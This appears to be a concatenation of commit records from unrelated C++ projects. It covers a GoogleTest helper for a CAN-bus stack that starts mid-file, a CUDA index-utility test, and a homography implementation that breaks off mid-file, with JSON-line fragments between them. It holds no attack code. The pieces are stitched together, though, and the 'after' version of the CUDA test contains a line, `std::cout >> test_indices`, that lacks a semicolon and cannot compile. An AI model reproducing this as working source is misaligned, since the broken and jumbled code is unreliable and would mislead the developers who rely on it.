already allocated\n * alias. *\/\n void create_allocated_alias()\n {\n ifCan_->set_alias_allocator(\n new AliasAllocator(TEST_NODE_ID, ifCan_.get()));\n Buffer<AliasInfo> *a;\n mainBufferPool->alloc(&a);\n a->data()->alias = 0x33A;\n a->data()->state = AliasInfo::STATE_RESERVED;\n ifCan_->local_aliases()->add(AliasCache::RESERVED_ALIAS_NODE_ID,\n a->data()->alias);\n ifCan_->alias_allocator()->reserved_aliases()->insert(a);\n aliasSeed_ = 0x44C;\n pendingAliasAllocation_ = false;\n }\n\n void expect_next_alias_allocation(NodeAlias a = 0)\n {\n pendingAliasAllocation_ = true;\n if (!a)\n {\n ifCan_->alias_allocator()->seed_ = aliasSeed_;\n a = aliasSeed_;\n aliasSeed_++;\n }\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X17020%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X1610D%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X15000%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X14003%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X10700%03XN;\", a)))\n .Times(AtMost(1))\n .RetiresOnSaturation();\n }\n\n\n BarrierNotifiable *get_notifiable()\n {\n bn_.reset(&n_);\n return &bn_;\n }\n\n void wait_for_notification()\n {\n n_.wait_for_notification();\n }\n\n SyncNotifiable n_;\n BarrierNotifiable bn_;\n\n \/\/\/ The interface under test.\n std::unique_ptr<IfCan> ifCan_;\n \/** Temporary object used to send aliases around in the alias allocator\n * flow. *\/\n AliasInfo testAlias_;\n \/\/\/ The next alias we will make the allocator create.\n NodeAlias aliasSeed_;\n \/\/\/ true if we have a pending async alias allocation task.\n bool pendingAliasAllocation_;\n};\n\nclass AsyncNodeTest : public AsyncIfTest\n{\nprotected:\n AsyncNodeTest()\n : eventService_(ifCan_.get())\n {\n EXPECT_CALL(canBus_, mwrite(\":X1910022AN02010D000003;\")).Times(1);\n ownedNode_.reset(new DefaultNode(ifCan_.get(), TEST_NODE_ID));\n node_ = ownedNode_.get();\n ifCan_->add_addressed_message_support();\n wait();\n Mock::VerifyAndClear(&canBus_);\n \/\/ AddEventHandlerToIf(ifCan_.get());\n }\n\n ~AsyncNodeTest()\n {\n wait_for_event_thread();\n }\n\n void wait_for_event_thread()\n {\n while (EventService::instance->event_processing_pending())\n {\n usleep(100);\n }\n AsyncIfTest::wait();\n }\n\n EventService eventService_;\n std::unique_ptr<DefaultNode> ownedNode_;\n Node *node_;\n};\n\nclass MockMessageHandler : public MessageHandler\n{\npublic:\n MOCK_METHOD2(handle_message,\n void(NMRAnetMessage *message, unsigned priority));\n virtual void send(Buffer<NMRAnetMessage> *message, unsigned priority)\n {\n handle_message(message->data(), priority);\n message->unref();\n }\n};\n\nMATCHER_P(IsBufferValue, id, \"\")\n{\n uint64_t value = htobe64(id);\n if (arg.size() != 8)\n return false;\n if (memcmp(&value, arg.data(), 8))\n return false;\n return true;\n}\n\nMATCHER_P(IsBufferValueString, expected, \"\")\n{\n string s(expected);\n return arg == s;\n}\n\nMATCHER_P(IsBufferNodeValue, id, \"\")\n{\n uint64_t value = htobe64(id);\n if (arg->used() != 6)\n return false;\n uint8_t *expected = reinterpret_cast<uint8_t *>(&value) + 2;\n uint8_t *actual = static_cast<uint8_t *>(arg->start());\n if (memcmp(expected, actual, 6))\n {\n for (int i = 0; i < 6; ++i)\n {\n if (expected[i] != actual[i])\n {\n LOG(INFO, \"mismatch at position %d, expected %02x actual %02x\",\n i, expected[i], actual[i]);\n }\n }\n return false;\n }\n return true;\n}\n\nMATCHER_P(IsBufferNodeValueString, id, \"\")\n{\n uint64_t value = htobe64(id);\n if (arg.size() != 6)\n return false;\n uint8_t *expected = reinterpret_cast<uint8_t *>(&value) + 2;\n uint8_t *actual = static_cast<uint8_t *>(arg->start());\n if (memcmp(expected, actual, 6))\n {\n for (int i = 0; i < 6; ++i)\n {\n if (expected[i] != actual[i])\n {\n LOG(INFO, \"mismatch at position %d, expected %02x actual %02x\",\n i, expected[i], actual[i]);\n }\n }\n return false;\n }\n return true;\n}\n\n} \/\/ namespace nmranet\n\n#endif \/\/ _UTILS_ASYNC_IF_TEST_HELPER_HXX_\n<commit_msg>Adds an assertion guard against calling print_all_packets multiple times. It would lead to a crash anyway.<commit_after>\/\/ Helper classes for writing unittests testing the entire asynchronous\n\/\/ stack. Allows to send incoming messages (in gridconnect format) and set\n\/\/ expectations on messages produced.\n\/\/\n\/\/ Only include this file in unittests.\n\n#ifndef _UTILS_ASYNC_IF_TEST_HELPER_HXX_\n#define _UTILS_ASYNC_IF_TEST_HELPER_HXX_\n\n#include \"nmranet\/AliasAllocator.hxx\"\n#include \"nmranet\/IfCan.hxx\"\n#include \"nmranet\/EventService.hxx\"\n#include \"nmranet\/DefaultNode.hxx\"\n#include \"nmranet_config.h\"\n#include \"utils\/GridConnectHub.hxx\"\n#include \"utils\/test_main.hxx\"\n\nusing ::testing::AtLeast;\nusing ::testing::AtMost;\nusing ::testing::Eq;\nusing ::testing::Field;\nusing ::testing::Invoke;\nusing ::testing::IsNull;\nusing ::testing::Mock;\nusing ::testing::NiceMock;\nusing ::testing::NotNull;\nusing ::testing::Pointee;\nusing ::testing::Return;\nusing ::testing::StrCaseEq;\nusing ::testing::StrictMock;\nusing ::testing::WithArg;\nusing ::testing::_;\n\nclass TrainTestHelper;\n\n\/\/\/@todo(balazs.racz) remove\n\/\/ void (*g_invoke)(Notifiable *) = &InvokeNotification;\n\nHubFlow gc_hub0(&g_service);\nCanHubFlow can_hub0(&g_service);\nGCAdapterBase *g_gc_adapter = nullptr;\n\nHubFlow gc_hub1(&g_service);\nCanHubFlow can_hub1(&g_service);\nGCAdapterBase *g_gc_adapter1 = nullptr;\n\n\/** Helper class for setting expectation on the CANbus traffic in unit\n * tests. *\/\nclass MockSend : public HubPort\n{\npublic:\n MockSend()\n : HubPort(&g_service)\n {\n }\n\n MOCK_METHOD1(mwrite, void(const string &s));\n\n virtual Action entry()\n {\n string s(message()->data()->data(), message()->data()->size());\n mwrite(s);\n return release_and_exit();\n }\n};\n\nvoid InvokeNotification(Notifiable *done)\n{\n done->notify();\n}\n\nstatic void print_packet(const string &pkt)\n{\n fprintf(stderr, \"%s\\n\", pkt.c_str());\n}\n\nclass AsyncCanTest : public testing::Test\n{\npublic:\n static void SetUpTestCase()\n {\n g_gc_adapter =\n GCAdapterBase::CreateGridConnectAdapter(&gc_hub0, &can_hub0, false);\n }\n\n static void TearDownTestCase()\n {\n delete g_gc_adapter;\n }\n\nprotected:\n AsyncCanTest()\n {\n gc_hub0.register_port(&canBus_);\n }\n\n ~AsyncCanTest()\n {\n gc_hub0.unregister_port(&canBus_);\n if (printer_.get())\n {\n gc_hub0.unregister_port(printer_.get());\n }\n }\n\n \/** Delays the current thread until we are certain that all asynchrnous\n processing has completed. *\/\n void wait()\n {\n wait_for_main_executor();\n }\n\n\/** Adds an expectation that the code will send a packet to the CANbus.\n\n Example:\n expect_packet(\":X1954412DN05010101FFFF0000;\");\n\n @param gc_packet the packet in GridConnect format, including the leading\n : and trailing ;\n*\/\n#define expect_packet(gc_packet) \\\n EXPECT_CALL(canBus_, mwrite(StrCaseEq(gc_packet)))\n\n \/** Ignores all produced packets.\n *\n * Tihs can be used in tests where the expectations are tested in a higher\n * level than monitoring the CANbus traffic.\n *\/\n void expect_any_packet()\n {\n EXPECT_CALL(canBus_, mwrite(_)).Times(AtLeast(0)).WillRepeatedly(\n WithArg<0>(Invoke(print_packet)));\n }\n\n \/** Prints all packets sent to the canbus until the end of the current test\n * function.\n *\/\n void print_all_packets()\n {\n HASSERT(!printer_ && \"cannot have more than one print_all_packets call\");\n NiceMock<MockSend> *m = new NiceMock<MockSend>();\n EXPECT_CALL(*m, mwrite(_)).Times(AtLeast(0)).WillRepeatedly(\n WithArg<0>(Invoke(print_packet)));\n gc_hub0.register_port(m);\n printer_.reset(m);\n }\n\n \/** Injects a packet to the interface. This acts as if a different node on\n the CANbus had sent that packet.\n\n Example:\n send_packet(\":X195B4001N05010101FFFF0000;\");\n\n @param gc_packet the packet in GridConnect format, including the leading\n : and trailing ;\n *\/\n void send_packet(const string &gc_packet)\n {\n Buffer<HubData> *packet;\n mainBufferPool->alloc(&packet);\n packet->data()->assign(gc_packet);\n packet->data()->skipMember_ = &canBus_;\n gc_hub0.send(packet);\n }\n\n\/** Injects an incoming packet to the interface and expects that the node\n will send out a response packet for it.\n\n As a side effect, clears all pending expectations on the CANbus.\n\n Example:\n send_packet_and_expect_response(\":X198F4001N05010101FFFF0000;\",\n \":X194C412DN05010101FFFF0000;\");\n\n @param pkt is the packet to inject, in GridConnect format.\n @param resp is the response to expect, also in GridConnect format.\n*\/\n#define send_packet_and_expect_response(pkt, resp) \\\n do \\\n { \\\n expect_packet(resp); \\\n send_packet_and_flush_expect(pkt); \\\n } while (0)\n\n void send_packet_and_flush_expect(const string &pkt)\n {\n send_packet(pkt);\n wait();\n Mock::VerifyAndClear(&canBus_);\n }\n\n \/\/\/ Helper object for setting expectations on the packets sent on the bus.\n NiceMock<MockSend> canBus_;\n \/\/\/ Object for debug-printing every packet (if requested).\n std::unique_ptr<HubPort> printer_;\n};\n\nnamespace nmranet\n{\n\n\/*\nconst char *Node::MANUFACTURER = \"Stuart W. Baker\";\nconst char *Node::HARDWARE_REV = \"N\/A\";\nconst char *Node::SOFTWARE_REV = \"0.1\";\n\nconst size_t Datagram::POOL_SIZE = 10;\nconst size_t Datagram::THREAD_STACK_SIZE = 512;\nconst size_t Stream::CHANNELS_PER_NODE = 10;\nconst uint16_t Stream::MAX_BUFFER_SIZE = 512;*\/\n\nstatic const NodeID TEST_NODE_ID = 0x02010d000003ULL;\n\n\/** Test fixture base class with helper methods for exercising the asynchronous\n * interface code.\n *\n * Usage:\n *\n * Inherit your test fixture class from AsyncIfTest.\n *\/\nclass AsyncIfTest : public AsyncCanTest\n{\nprotected:\n AsyncIfTest()\n : pendingAliasAllocation_(false)\n {\n ifCan_.reset(new IfCan(&g_executor, &can_hub0, 10, 10, 5));\n ifCan_->local_aliases()->add(TEST_NODE_ID, 0x22A);\n }\n\n ~AsyncIfTest()\n {\n wait();\n if (pendingAliasAllocation_)\n {\n ifCan_->alias_allocator()->TEST_finish_pending_allocation();\n wait();\n }\n }\n\n friend class ::TrainTestHelper;\n\n \/** Creates an alias allocator flow, and injects an already allocated\n * alias. *\/\n void create_allocated_alias()\n {\n ifCan_->set_alias_allocator(\n new AliasAllocator(TEST_NODE_ID, ifCan_.get()));\n Buffer<AliasInfo> *a;\n mainBufferPool->alloc(&a);\n a->data()->alias = 0x33A;\n a->data()->state = AliasInfo::STATE_RESERVED;\n ifCan_->local_aliases()->add(AliasCache::RESERVED_ALIAS_NODE_ID,\n a->data()->alias);\n ifCan_->alias_allocator()->reserved_aliases()->insert(a);\n aliasSeed_ = 0x44C;\n pendingAliasAllocation_ = false;\n }\n\n void expect_next_alias_allocation(NodeAlias a = 0)\n {\n pendingAliasAllocation_ = true;\n if (!a)\n {\n ifCan_->alias_allocator()->seed_ = aliasSeed_;\n a = aliasSeed_;\n aliasSeed_++;\n }\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X17020%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X1610D%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X15000%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X14003%03XN;\", a)))\n .Times(1)\n .RetiresOnSaturation();\n\n EXPECT_CALL(canBus_, mwrite(StringPrintf(\":X10700%03XN;\", a)))\n .Times(AtMost(1))\n .RetiresOnSaturation();\n }\n\n\n BarrierNotifiable *get_notifiable()\n {\n bn_.reset(&n_);\n return &bn_;\n }\n\n void wait_for_notification()\n {\n n_.wait_for_notification();\n }\n\n SyncNotifiable n_;\n BarrierNotifiable bn_;\n\n \/\/\/ The interface under test.\n std::unique_ptr<IfCan> ifCan_;\n \/** Temporary object used to send aliases around in the alias allocator\n * flow. *\/\n AliasInfo testAlias_;\n \/\/\/ The next alias we will make the allocator create.\n NodeAlias aliasSeed_;\n \/\/\/ true if we have a pending async alias allocation task.\n bool pendingAliasAllocation_;\n};\n\nclass AsyncNodeTest : public AsyncIfTest\n{\nprotected:\n AsyncNodeTest()\n : eventService_(ifCan_.get())\n {\n EXPECT_CALL(canBus_, mwrite(\":X1910022AN02010D000003;\")).Times(1);\n ownedNode_.reset(new DefaultNode(ifCan_.get(), TEST_NODE_ID));\n node_ = ownedNode_.get();\n ifCan_->add_addressed_message_support();\n wait();\n Mock::VerifyAndClear(&canBus_);\n \/\/ AddEventHandlerToIf(ifCan_.get());\n }\n\n ~AsyncNodeTest()\n {\n wait_for_event_thread();\n }\n\n void wait_for_event_thread()\n {\n while (EventService::instance->event_processing_pending())\n {\n usleep(100);\n }\n AsyncIfTest::wait();\n }\n\n EventService eventService_;\n std::unique_ptr<DefaultNode> ownedNode_;\n Node *node_;\n};\n\nclass MockMessageHandler : public MessageHandler\n{\npublic:\n MOCK_METHOD2(handle_message,\n void(NMRAnetMessage *message, unsigned priority));\n virtual void send(Buffer<NMRAnetMessage> *message, unsigned priority)\n {\n handle_message(message->data(), priority);\n message->unref();\n }\n};\n\nMATCHER_P(IsBufferValue, id, \"\")\n{\n uint64_t value = htobe64(id);\n if (arg.size() != 8)\n return false;\n if (memcmp(&value, arg.data(), 8))\n return false;\n return true;\n}\n\nMATCHER_P(IsBufferValueString, expected, \"\")\n{\n string s(expected);\n return arg == s;\n}\n\nMATCHER_P(IsBufferNodeValue, id, \"\")\n{\n uint64_t value = htobe64(id);\n if (arg->used() != 6)\n return false;\n uint8_t *expected = reinterpret_cast<uint8_t *>(&value) + 2;\n uint8_t *actual = static_cast<uint8_t *>(arg->start());\n if (memcmp(expected, actual, 6))\n {\n for (int i = 0; i < 6; ++i)\n {\n if (expected[i] != actual[i])\n {\n LOG(INFO, \"mismatch at position %d, expected %02x actual %02x\",\n i, expected[i], actual[i]);\n }\n }\n return false;\n }\n return true;\n}\n\nMATCHER_P(IsBufferNodeValueString, id, \"\")\n{\n uint64_t value = htobe64(id);\n if (arg.size() != 6)\n return false;\n uint8_t *expected = reinterpret_cast<uint8_t *>(&value) + 2;\n uint8_t *actual = static_cast<uint8_t *>(arg->start());\n if (memcmp(expected, actual, 6))\n {\n for (int i = 0; i < 6; ++i)\n {\n if (expected[i] != actual[i])\n {\n LOG(INFO, \"mismatch at position %d, expected %02x actual %02x\",\n i, expected[i], actual[i]);\n }\n }\n return false;\n }\n return true;\n}\n\n} \/\/ namespace nmranet\n\n#endif \/\/ _UTILS_ASYNC_IF_TEST_HELPER_HXX_\n<|endoftext|>"} {"text":"<commit_before>\n\/*!\n * \\file cuda_utilities_tests.cpp\n * \\author Robert 'Bob' Caddy (rvc@pitt.edu), Helena Richie (helenarichie@pitt.edu)\n * \\brief Tests for the contents of cuda_utilities.h and cuda_utilities.cpp\n *\n *\/\n\n\/\/ STL Includes\n#include <vector>\n#include <string>\n#include <iostream>\n\n\/\/ External Includes\n#include <gtest\/gtest.h> \/\/ Include GoogleTest and related libraries\/headers\n\n\/\/ Local Includes\n#include \"..\/utils\/testing_utilities.h\"\n#include \"..\/utils\/cuda_utilities.h\"\n#include \"..\/global\/global.h\"\n\n\/*\n PCM : n_ghost = 2\n PLMP : n_ghost = 2\n PLMC : n_ghost = 3\n PPMP : n_ghost = 4\n PPMC : n_ghost = 4\n*\/\n\n\/\/ =============================================================================\n\/\/ Local helper functions\nnamespace\n{\n struct TestParams\n {\n std::vector<int> n_ghost {2, 2, 3, 4};\n std::vector<int> nx {1, 2048, 2048, 2048};\n std::vector<int> ny {1, 2048, 2048, 2048};\n std::vector<int> nz {1, 4096, 4096, 4096};\n std::vector<std::string> names {\"Single-cell 3D PCM\/PLMP case\", \"Large 3D PCM\/PLMP case\", \"Large PLMC case\", \"Large PPMP\/PPMC case\"};\n\n };\n}\n\nTEST(tHYDROSYSTEMCudaUtilsGetRealIndices, CorrectInputExpectCorrectOutput) {\n TestParams parameters;\n std::vector<std::vector<int>> fiducial_indices {{1, 2, 3, 4, 5, 6}, \n {4, 5, 6, 7, 8, 9}, \n {7, 8, 9, 4, 5, 6},\n {7, 8, 9, 4, 5, 6}}; \n\n for (size_t i = 0; i < parameters.names.size(); i++)\n {\n int is;\n int ie;\n int js;\n int je;\n int ks;\n int ke;\n cuda_utilities::Get_Real_Indices(parameters.n_ghost.at(i), parameters.nx.at(i), parameters.ny.at(i), parameters.nz.at(i), is, ie, js, je, ks, ke);\n\n std::vector<int> test_indices {is, ie, js, je, ks, ke};\n std::vector<std::string> index_names {\"is\", \"ie\", \"js\", \"je\", \"ks\", \"ke\"};\n\n for (int j = 0; j < test_indices.size(); j++)\n {\n testingUtilities::checkResults(fiducial_indices[i][j], test_indices[i], index_names[j] + \" \" + parameters.names[i]);\n }\n }\n}<commit_msg>add test for real index utility function<commit_after>\n\/*!\n * \\file cuda_utilities_tests.cpp\n * \\author Robert 'Bob' Caddy (rvc@pitt.edu), Helena Richie (helenarichie@pitt.edu)\n * \\brief Tests for the contents of cuda_utilities.h and cuda_utilities.cpp\n *\n *\/\n\n\/\/ STL Includes\n#include <vector>\n#include <string>\n#include <iostream>\n\n\/\/ External Includes\n#include <gtest\/gtest.h> \/\/ Include GoogleTest and related libraries\/headers\n\n\/\/ Local Includes\n#include \"..\/utils\/testing_utilities.h\"\n#include \"..\/utils\/cuda_utilities.h\"\n#include \"..\/global\/global.h\"\n\n\/*\n PCM : n_ghost = 2\n PLMP : n_ghost = 2\n PLMC : n_ghost = 3\n PPMP : n_ghost = 4\n PPMC : n_ghost = 4\n*\/\n\n\/\/ =============================================================================\n\/\/ Local helper functions\nnamespace\n{\n struct TestParams\n {\n std::vector<int> n_ghost {2, 2, 3, 4};\n std::vector<int> nx {100, 2048, 2048, 2048};\n std::vector<int> ny {1, 2048, 2048, 2048};\n std::vector<int> nz {1, 4096, 4096, 4096};\n std::vector<std::string> names {\"Single-cell 3D PCM\/PLMP case\", \"Large 3D PCM\/PLMP case\", \"Large PLMC case\", \"Large PPMP\/PPMC case\"};\n\n };\n}\n\nTEST(tHYDROSYSTEMCudaUtilsGetRealIndices, CorrectInputExpectCorrectOutput) {\n TestParams parameters;\n std::vector<std::vector<int>> fiducial_indices {{2, 98, 0, 1, 0, 1}, \n {2, 2046, 2, 2046, 2, 2046}, \n {3, 2045, 3, 2045, 3, 2045},\n {4, 2044, 4, 2044, 4, 2044}}; \n\n for (size_t i = 0; i < parameters.names.size(); i++)\n {\n int is;\n int ie;\n int js;\n int je;\n int ks;\n int ke;\n cuda_utilities::Get_Real_Indices(parameters.n_ghost.at(i), parameters.nx.at(i), parameters.ny.at(i), parameters.nz.at(i), is, ie, js, je, ks, ke);\n\n std::vector<std::string> index_names {\"is\", \"ie\", \"js\", \"je\", \"ks\", \"ke\"};\n std::vector<int> test_indices {is, ie, js, je, ks, ke};\n\n std::cout >> test_indices << \"\\n\"\n\n for (size_t j = 0; j < test_indices.size(); j++)\n {\n testingUtilities::checkResults(fiducial_indices[i][j], test_indices[j], index_names[j] + \" \" + parameters.names[i]);\n }\n }\n}<|endoftext|>"} {"text":"<commit_before>\/*ckwg +5\n * Copyright 2011 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"homography.h\"\n\n#include \"plane_ref.h\"\n#include \"timestamp.h\"\n#include \"utm.h\"\n\n\/**\n * \\file homography.cxx\n *\n * \\brief Implementation of the homography classes.\n *\/\n\nnamespace vistk\n{\n\nhomography_base\n::homography_base(homography_base const& h)\n : m_transform(h.m_transform)\n , m_valid(h.m_valid)\n , m_new_reference(h.m_new_reference)\n{\n}\n\nhomography_base\n::~homography_base()\n{\n}\n\nhomography_base::transform_t const&\nhomography_base\n::transform() const\n{\n return m_transform;\n}\n\nbool\nhomography_base\n::is_valid() const\n{\n return m_valid;\n}\n\nbool\nhomography_base\n::is_new_reference() const\n{\n return m_new_reference;\n}\n\nvoid\nhomography_base\n::set_transform(transform_t const& trans)\n{\n m_transform = trans;\n}\n\nvoid\nhomography_base\n::set_identity()\n{\n m_transform.set_identity();\n}\n\nvoid\nhomography_base\n::set_valid(bool valid)\n{\n m_valid = valid;\n}\n\nvoid\nhomography_base\n::set_new_reference(bool new_reference)\n{\n m_new_reference = new_reference;\n}\n\nbool\nhomography_base\n::operator == (homography_base const& h) const\n{\n return ((m_valid == h.m_valid) &&\n (m_new_reference == h.m_new_reference) &&\n (m_transform == h.m_transform));\n}\n\nhomography_base\n::homography_base()\n : m_valid(false)\n , m_new_reference(false)\n{\n set_identity();\n}\n\ntemplate <typename Source, typename Dest>\nhomography<Source, Dest>\n::homography()\n{\n}\n\ntemplate <typename Source, typename Dest>\nhomography<Source, Dest>\n::homography(self_t const& h)\n : homography_base(h)\n , m_source(h.m_source)\n , m_dest(h.m_dest)\n{\n}\n\ntemplate <typename Source, typename Dest>\nhomography<Source, Dest>\n::~homography()\n{\n}\n\ntemplate <typename Source, typename Dest>\ntypename homography<Source, Dest>::source_t\nhomography<Source, Dest>\n::source() const\n{\n return m_source;\n}\n\ntemplate <typename Source, typename Dest>\ntypename homography<Source, Dest>::dest_t\nhomography<Source, Dest>\n::destination() const\n{\n return m_dest;\n}\n\ntemplate <typename Source, typename Dest>\nvoid\nhomography<Source, Dest>\n::set_source(source_t const& src)\n{\n m_source = src;\n}\n\ntemplate <typename Source, typename Dest>\nvoid\nhomography<Source, Dest>\n::set_destination(dest_t const& dest)\n{\n m_dest = dest;\n}\n\ntemplate <typename Source, typename Dest>\ntypename homography<Source, Dest>::inverse_t\nhomography<Source, Dest>\n::inverse() const\n{\n inverse_t result;\n\n result.set_transform(transform().get_inverse());\n result.set_source(m_dest);\n result.set_destination(m_source);\n result.set_valid(is_valid());\n result.set_new_reference(is_new_reference());\n\n return result;\n}\n\ntemplate <typename Source, typename Dest>\nbool\nhomography<Source, Dest>\n::operator == (self_t const& h) const\n{\n return ((homography::operator == (h)) &&\n (m_source == h.m_source) &&\n (m_dest == h.m_dest));\n}\n\n\/\/ Keep in sync with homography_types.h\ntemplate class homography<timestamp, timestamp>;\ntemplate class homography<timestamp, plane_ref_t>;\ntemplate class homography<plane_ref_t, timestamp>;\ntemplate class homography<timestamp, utm_zone_t>;\ntemplate class homography<utm_zone_t, timestamp>;\ntemplate class homography<plane_ref_t, utm_zone_t>;\ntemplate class homography<utm_zone_t, plane_ref_t>;\n\ntemplate <typename Source, typename Shared, typename Dest>\nhomography<Source, Dest>\noperator * (homography<Shared, Dest> const& l, homography<Source, Shared> const& r)\n{\n homography<Source, Dest> result;\n\n result.set_transform(l.transform() * r.transform());\n result.set_source(r.source());\n result.set_destination(l.dest());\n result.set_valid(l.is_valid() && r.is_valid());\n\n return result;\n}\n\n#ifndef DOXYGEN_IGNORE\n\n\/**\n * \\def INSTANTIATE_SELF_MULT\n *\n * \\brief Instantiates multiplication with homogeneous types.\n *\n * \\param X The reference plane for the multiplication.\n *\/\n#define INSTANTIATE_SELF_MULT(X) \\\n template <> homography<X, X> operator * <X, X, X>(homography<X, X> const&, homography<X, X> const&)\n\n\/**\n * \\def INSTANTIATE_DUAL_MULT_RAW\n *\n * \\brief Instantiates multiplication with two distinct types.\n *\n * \\param X The first type in the multiplication.\n * \\param Y The second type in the multiplication.\n *\/\n#define INSTANTIATE_DUAL_MULT_RAW(X, Y) \\\n template <> homography<X, X> operator * <X, Y, X>(homography<Y, X> const&, homography<X, Y> const&); \\\n template <> homography<X, Y> operator * <X, X, Y>(homography<X, Y> const&, homography<X, X> const&); \\\n template <> homography<X, Y> operator * <X, Y, Y>(homography<Y, Y> const&, homography<X, Y> const&)\n\n\/**\n * \\def INSTANTIATE_DUAL_MULT\n *\n * \\brief Instantiates multiplication with two distinct types.\n *\n * This instantiates all permutations between the two types.\n *\n * \\param X The first type in the multiplication.\n * \\param Y The second type in the multiplication.\n *\/\n#define INSTANTIATE_DUAL_MULT(X, Y) \\\n INSTANTIATE_DUAL_MULT_RAW(X, Y); \\\n INSTANTIATE_DUAL_MULT_RAW(Y, X)\n\n\/**\n * \\def INSTANTIATE_TRIP_MULT_RAW\n *\n * \\brief Instantiates multiplication with three distinct types.\n *\n * \\param X The source type in the multiplication.\n * \\param Y The shared type in the multiplication.\n * \\param Z The destination type in the multiplication.\n *\/\n#define INSTANTIATE_TRIP_MULT_RAW(X,Y,Z) \\\n template <> homography<X, Z> operator * <X, Y, Z>(homography<Y, Z> const&, homography<X, Y> const&)\n\n\/**\n * \\def INSTANTIATE_TRIP_MULT\n *\n * \\brief Instantiates multiplication with three distinct types.\n *\n * This instantiates all permutations between the three types.\n *\n * \\param X The first type in the multiplication.\n * \\param Y The second type in the multiplication.\n * \\param Z The third type in the multiplication.\n *\/\n#define INSTANTIATE_TRIP_MULT(X,Y,Z) \\\n INSTANTIATE_TRIP_MULT_RAW(X, Y, Z); \\\n INSTANTIATE_TRIP_MULT_RAW(X, Z, Y); \\\n INSTANTIATE_TRIP_MULT_RAW(Y, X, Z); \\\n INSTANTIATE_TRIP_MULT_RAW(Y, Z, Y); \\\n INSTANTIATE_TRIP_MULT_RAW(Z, X, Y); \\\n INSTANTIATE_TRIP_MULT_RAW(Z, Y, X)\n\n\/\/ Instantiate all allowable types\nINSTANTIATE_SELF_MULT(timestamp);\nINSTANTIATE_SELF_MULT(plane_ref_t);\nINSTANTIATE_SELF_MULT(utm_zone_t);\n\nINSTANTIATE_DUAL_MULT(timestamp, plane_ref_t);\nINSTANTIATE_DUAL_MULT(timestamp, utm_zone_t);\nINSTANTIATE_DUAL_MULT(plane_ref_t, utm_zone_t);\n\nINSTANTIATE_TRIP_MULT(timestamp, plane_ref_t, utm_zone_t);\n\n#undef INSTANTIATE_SELF_MULT\n#undef INSTANTIATE_DUAL_MULT_RAW\n#undef INSTANTIATE_DUAL_MULT\n#undef INSTANTIATE_TRIP_MULT_RAW\n#undef INSTANTIATE_TRIP_MULT\n\n#endif \/\/ DOXYGEN_IGNORE\n\n}\n<commit_msg>Call the proper operator ==<commit_after>\/*ckwg +5\n * Copyright 2011-2012 by Kitware, Inc. All Rights Reserved. Please refer to\n * KITWARE_LICENSE.TXT for licensing information, or contact General Counsel,\n * Kitware, Inc., 28 Corporate Drive, Clifton Park, NY 12065.\n *\/\n\n#include \"homography.h\"\n\n#include \"plane_ref.h\"\n#include \"timestamp.h\"\n#include \"utm.h\"\n\n\/**\n * \\file homography.cxx\n *\n * \\brief Implementation of the homography classes.\n *\/\n\nnamespace vistk\n{\n\nhomography_base\n::homography_base(homography_base const& h)\n : m_transform(h.m_transform)\n , m_valid(h.m_valid)\n , m_new_reference(h.m_new_reference)\n{\n}\n\nhomography_base\n::~homography_base()\n{\n}\n\nhomography_base::transform_t const&\nhomography_base\n::transform() const\n{\n return m_transform;\n}\n\nbool\nhomography_base\n::is_valid() const\n{\n return m_valid;\n}\n\nbool\nhomography_base\n::is_new_reference() const\n{\n return m_new_reference;\n}\n\nvoid\nhomography_base\n::set_transform(transform_t const& trans)\n{\n m_transform = trans;\n}\n\nvoid\nhomography_base\n::set_identity()\n{\n m_transform.set_identity();\n}\n\nvoid\nhomography_base\n::set_valid(bool valid)\n{\n m_valid = valid;\n}\n\nvoid\nhomography_base\n::set_new_reference(bool new_reference)\n{\n m_new_reference = new_reference;\n}\n\nbool\nhomography_base\n::operator == (homography_base const& h) const\n{\n return ((m_valid == h.m_valid) &&\n (m_new_reference == h.m_new_reference) &&\n (m_transform == h.m_transform));\n}\n\nhomography_base\n::homography_base()\n : m_valid(false)\n , m_new_reference(false)\n{\n set_identity();\n}\n\ntemplate <typename Source, typename Dest>\nhomography<Source, Dest>\n::homography()\n{\n}\n\ntemplate <typename Source, typename Dest>\nhomography<Source, Dest>\n::homography(self_t const& h)\n : homography_base(h)\n , m_source(h.m_source)\n , m_dest(h.m_dest)\n{\n}\n\ntemplate <typename Source, typename Dest>\nhomography<Source, Dest>\n::~homography()\n{\n}\n\ntemplate <typename Source, typename Dest>\ntypename homography<Source, Dest>::source_t\nhomography<Source, Dest>\n::source() const\n{\n return m_source;\n}\n\ntemplate <typename Source, typename Dest>\ntypename homography<Source, Dest>::dest_t\nhomography<Source, Dest>\n::destination() const\n{\n return m_dest;\n}\n\ntemplate <typename Source, typename Dest>\nvoid\nhomography<Source, Dest>\n::set_source(source_t const& src)\n{\n m_source = src;\n}\n\ntemplate <typename Source, typename Dest>\nvoid\nhomography<Source, Dest>\n::set_destination(dest_t const& dest)\n{\n m_dest = dest;\n}\n\ntemplate <typename Source, typename Dest>\ntypename homography<Source, Dest>::inverse_t\nhomography<Source, Dest>\n::inverse() const\n{\n inverse_t result;\n\n result.set_transform(transform().get_inverse());\n result.set_source(m_dest);\n result.set_destination(m_source);\n result.set_valid(is_valid());\n result.set_new_reference(is_new_reference());\n\n return result;\n}\n\ntemplate <typename Source, typename Dest>\nbool\nhomography<Source, Dest>\n::operator == (self_t const& h) const\n{\n return ((homography_base::operator == (h)) &&\n (m_source == h.m_source) &&\n (m_dest == h.m_dest));\n}\n\n\/\/ Keep in sync with 